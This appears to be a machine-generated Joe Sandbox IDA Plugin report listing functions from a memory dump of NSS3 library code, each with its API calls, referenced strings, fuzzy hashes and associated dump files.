Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Grow_Util$CriticalEnterGrowSectionUnlockValuefreemalloc
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|$pkcs11:
API String ID: 1150520530-890694778
Opcode ID: 73321f0e19a3946faa4f4bc726c9658261663b769a6b91cc805a87c18187cd41
Instruction ID: 1af3ddafb75802afc60cf2c664a4fc52e253c1f41da605b712d56b92cb9696cb
Opcode Fuzzy Hash: 73321f0e19a3946faa4f4bc726c9658261663b769a6b91cc805a87c18187cd41
Instruction Fuzzy Hash: 38A18170E0420A9BDB04DFA5C880BBEB7B9FF4435DF114158D425A7A80E735EA56CBA1

Function 6C9F8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8E9E
PORT_ArenaAlloc_Util.NSS3(6CB00B64,00000001,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C9F8E01), ref: 6C9F8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB00B64,6CB00B64), ref: 6C9F8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C9F8F3F

Part of subcall function 6C9FA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C9FA421,00000000,00000000,6C9F9826), ref: 6C9FA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9F904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C9F8E76

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 47e77d77ee8cd50fbfbd6deb46d24cb901572dd41279b56cd627ce158395b1a8
Instruction ID: 50fb600b7a7f03876bddb5422123bb630ddb92e24105a5a2c96fb81b1f9bb57a
Opcode Fuzzy Hash: 47e77d77ee8cd50fbfbd6deb46d24cb901572dd41279b56cd627ce158395b1a8
Instruction Fuzzy Hash: 8D6191B5E001069FDB14CF56DD80AABB7B9FF85358F154128DC28A7700E732E95ACBA0

Function 6C9A8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C9A8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9A8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CAD18D0,?), ref: 6C9A8F03
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A8F19
PL_FreeArenaPool.NSS3(?), ref: 6C9A8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9A8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9A8F65
PL_FinishArenaPool.NSS3(?), ref: 6C9A8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C9A8FFE
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A9012
PL_FreeArenaPool.NSS3(?), ref: 6C9A9024
PL_FinishArenaPool.NSS3(?), ref: 6C9A902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C9A903E

Strings

security, xrefs: 6C9A8EE7

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 4823a6e9ac121ae200054494140716860093e4b7fc9cb6f12e7b7c6971936f04
Instruction ID: 956847fe19bfbcdbc70cb86af005d76bb348b6f9535916ee061da1490ffbe29d
Opcode Fuzzy Hash: 4823a6e9ac121ae200054494140716860093e4b7fc9cb6f12e7b7c6971936f04
Instruction Fuzzy Hash: C5517BB1608340EBD7049A989C45FAB73ECAB8979CF11082EF95497B40D732D85EC797

Function 6CA6CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CA6CC7B), ref: 6CA6CD7A

Part of subcall function 6CA6CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C9DC1A8,?), ref: 6CA6CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA6CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA6CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CA6CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA6CD8E

Part of subcall function 6C9905C0: PR_EnterMonitor.NSS3 ref: 6C9905D1
Part of subcall function 6C9905C0: PR_ExitMonitor.NSS3 ref: 6C9905EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CA6CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA6CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA6CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA6CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CA6CE48

Strings

freeaddrinfo, xrefs: 6CA6CD9F, 6CA6CE10
getaddrinfo, xrefs: 6CA6CD88, 6CA6CDF9
wship6.dll, xrefs: 6CA6CDE3
ws2_32.dll, xrefs: 6CA6CD75
getnameinfo, xrefs: 6CA6CDB2, 6CA6CE23

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 1c7627a15c8ea6bba31bd85855ec6438a5491f214f8c1de0fd395f8016ca8ec6
Instruction ID: f76ac5df458af97315c4732692f7de1305a9860e36b99716475b990e028b3509
Opcode Fuzzy Hash: 1c7627a15c8ea6bba31bd85855ec6438a5491f214f8c1de0fd395f8016ca8ec6
Instruction Fuzzy Hash: AF11D6A5F021215BDF01AA777C04A9E39A96B3214CF1C0538D816D3F00FB21E5C883F2

Function 6CAB1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CAB13BC,?,?,?,6CAB1193), ref: 6CAB1C6B
PR_NewLock.NSS3(?,6CAB1193), ref: 6CAB1C7E

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewCondVar.NSS3(00000000,?,6CAB1193), ref: 6CAB1C91

Part of subcall function 6C98BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C9921BC), ref: 6C98BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CAB1193), ref: 6CAB1CA7

Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C98BBEB
Part of subcall function 6C98BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C98BBFB
Part of subcall function 6C98BB80: GetLastError.KERNEL32 ref: 6C98BC03
Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C98BC19
Part of subcall function 6C98BB80: free.MOZGLUE(00000000), ref: 6C98BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CAB1193), ref: 6CAB1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CAB1193), ref: 6CAB1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CAB1193), ref: 6CAB1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D1A

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D3D

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CAB1193), ref: 6CAB1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CAB1193), ref: 6CAB1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CAB1193), ref: 6CAB1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CAB1193), ref: 6CAB1D93
PR_DestroyLock.NSS3(00000000,?,?,6CAB1193), ref: 6CAB1D9F
free.MOZGLUE(00000000,?,6CAB1193), ref: 6CAB1DA8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 48edb03968a0808b176fda7d3a9b7548dd2587c26fc2d65b5710acef9a5f2d47
Instruction ID: 3b2c72fb693ac09f23338929eabdf8d8bb1b9c80b890549c1102de13f18e428e
Opcode Fuzzy Hash: 48edb03968a0808b176fda7d3a9b7548dd2587c26fc2d65b5710acef9a5f2d47
Instruction Fuzzy Hash: 8331E9F1E007019BEB219F35AC41A6777F8EF1164CB084838E94A97B51F731E558CBA2

Function 6CA05CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CA05EC0,00000000,?,?), ref: 6CA05CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CA05CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CA05CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CA05D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CA05EC0,00000000,?,?), ref: 6CA05D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CA05D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CA05D80

Strings

multiaccess:, xrefs: 6CA05CB8
extern:, xrefs: 6CA05CEA, 6CA05D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6CA05D1A
dbm:, xrefs: 6CA05D03, 6CA05D60
sql:, xrefs: 6CA05CD1, 6CA05D36

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: adf9f05b9d2c5274bdcfc6a4dd0c88b761c329e2af629cff46bd286e2f0169a9
Instruction ID: fbf362fb7503f6a67e3235588d5d50fdac3b9583cf9a7adf1ad3f56cfe14d7fb
Opcode Fuzzy Hash: adf9f05b9d2c5274bdcfc6a4dd0c88b761c329e2af629cff46bd286e2f0169a9
Instruction Fuzzy Hash: AE3108B4B413526FF7109A25FC4CB663768BF0638CF180032ED65E6A82F771D581C2A9

Function 6CA06CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CAD1DE0,?), ref: 6CA06CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA06D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CA06D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CA06D82
DER_GetInteger_Util.NSS3(?), ref: 6CA06DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA06DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CA06E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CA06F19
PK11_DigestBegin.NSS3(00000000), ref: 6CA06F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CA06F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CA07011
PK11_FreeSymKey.NSS3(00000000), ref: 6CA07033
free.MOZGLUE(?), ref: 6CA0703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CA07060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA07087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CA070AF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 0ecafe176a606c4eb390a61439eaf64198a224e4ce9c88e134f1bb37d3a3464f
Instruction ID: 77b935801e3e8de63b8dda2277fd931735ac478766806fe4615a46c19cab0f85
Opcode Fuzzy Hash: 0ecafe176a606c4eb390a61439eaf64198a224e4ce9c88e134f1bb37d3a3464f
Instruction Fuzzy Hash: 9EA1D4B1B043019BEB009F24EC45B5A33A59B9139CF288939ED59CBB81E775D8C9C793

Function 6C9A98E0 Relevance: 24.3, APIs: 16, Instructions: 280stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

PR_SetError.NSS3(FFFFE018,00000000,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A9BA9

Part of subcall function 6C9C1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6C9A991E,00000000,00000000,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C1769
Part of subcall function 6C9C1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C180C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A9930
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A995D
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A997E
TlsGetValue.KERNEL32(?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A99AD
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A99C4
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A99E2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B), ref: 6C9A9A1F
PK11_GetInternalKeySlot.NSS3(?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9A9A27
TlsGetValue.KERNEL32 ref: 6C9A9AE1
EnterCriticalSection.KERNEL32(00000000), ref: 6C9A9AF5
PR_Unlock.NSS3 ref: 6C9A9B11
TlsGetValue.KERNEL32 ref: 6C9A9B3B
EnterCriticalSection.KERNEL32(00000000), ref: 6C9A9B4F
PR_Unlock.NSS3 ref: 6C9A9B72
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9A9BC7

Part of subcall function 6C9B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
Part of subcall function 6C9B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
Part of subcall function 6C9B89E0: memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
Part of subcall function 6C9B89E0: PR_Unlock.NSS3(?), ref: 6C9B8A35

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Enter$CriticalSectionUnlockValue$ErrorMonitor$ExitInternalItem_K11_SlotUtilZfreememcpymemsetstrcmpstrlen
String ID:
API String ID: 568628329-0
Opcode ID: 85d01bf18943685b4fab99e3e6a4a0c74826bc05001370e33e3f712c527821ba
Instruction ID: 15267f3fe439a6d80dc36f1c281d765cf661724ff592c8db7cc96400ab1999ba
Opcode Fuzzy Hash: 85d01bf18943685b4fab99e3e6a4a0c74826bc05001370e33e3f712c527821ba
Instruction Fuzzy Hash: 5891D4B5E002056BEB009FA5DC41BAB77B8BF6530CF054125EC19A7B11EB32D95AC7D2

Function 6C9CAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF39
PR_Unlock.NSS3(?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CAF69
TlsGetValue.KERNEL32 ref: 6C9CB06B
EnterCriticalSection.KERNEL32(?), ref: 6C9CB083
PR_Unlock.NSS3(?), ref: 6C9CB0A4
TlsGetValue.KERNEL32 ref: 6C9CB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C9CB0D9
PR_Unlock.NSS3 ref: 6C9CB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CB182

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9CB177

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C9AAB95,00000000,?,00000000,00000000,00000000), ref: 6C9CB1C2

Part of subcall function 6C9F1560: TlsGetValue.KERNEL32(00000000,?,6C9C0844,?), ref: 6C9F157A
Part of subcall function 6C9F1560: EnterCriticalSection.KERNEL32(?,?,?,6C9C0844,?), ref: 6C9F158F
Part of subcall function 6C9F1560: PR_Unlock.NSS3(?,?,?,?,6C9C0844,?), ref: 6C9F15B2

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 3bcab1a4733d9940492cd96945a249ebe2d06104cc3f726f6bc5efcbb9902e04
Instruction ID: 77c8775f51f7f7c670bc1fcda5cdfddd6e12c754de298540badfc262316c6abc
Opcode Fuzzy Hash: 3bcab1a4733d9940492cd96945a249ebe2d06104cc3f726f6bc5efcbb9902e04
Instruction Fuzzy Hash: 66A194B5E00205AFEF009F64DC41BEA77B8FF25308F144129E919A7751EB31DA59CBA2

Function 6C9D1800 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D1860
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF), ref: 6C9D1897
memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9D18AA
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D18C4
PK11_ImportDataKey.NSS3(00000000,0000402B,00000004,0000010C,?,00000000), ref: 6C9D193F
PK11_DeriveWithTemplate.NSS3 ref: 6C9D1979
PK11_ExtractKeyValue.NSS3(00000000), ref: 6C9D1988
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF,psk_id_hash,0000000B), ref: 6C9D199F
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF,psk_id_hash), ref: 6C9D19A8

Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
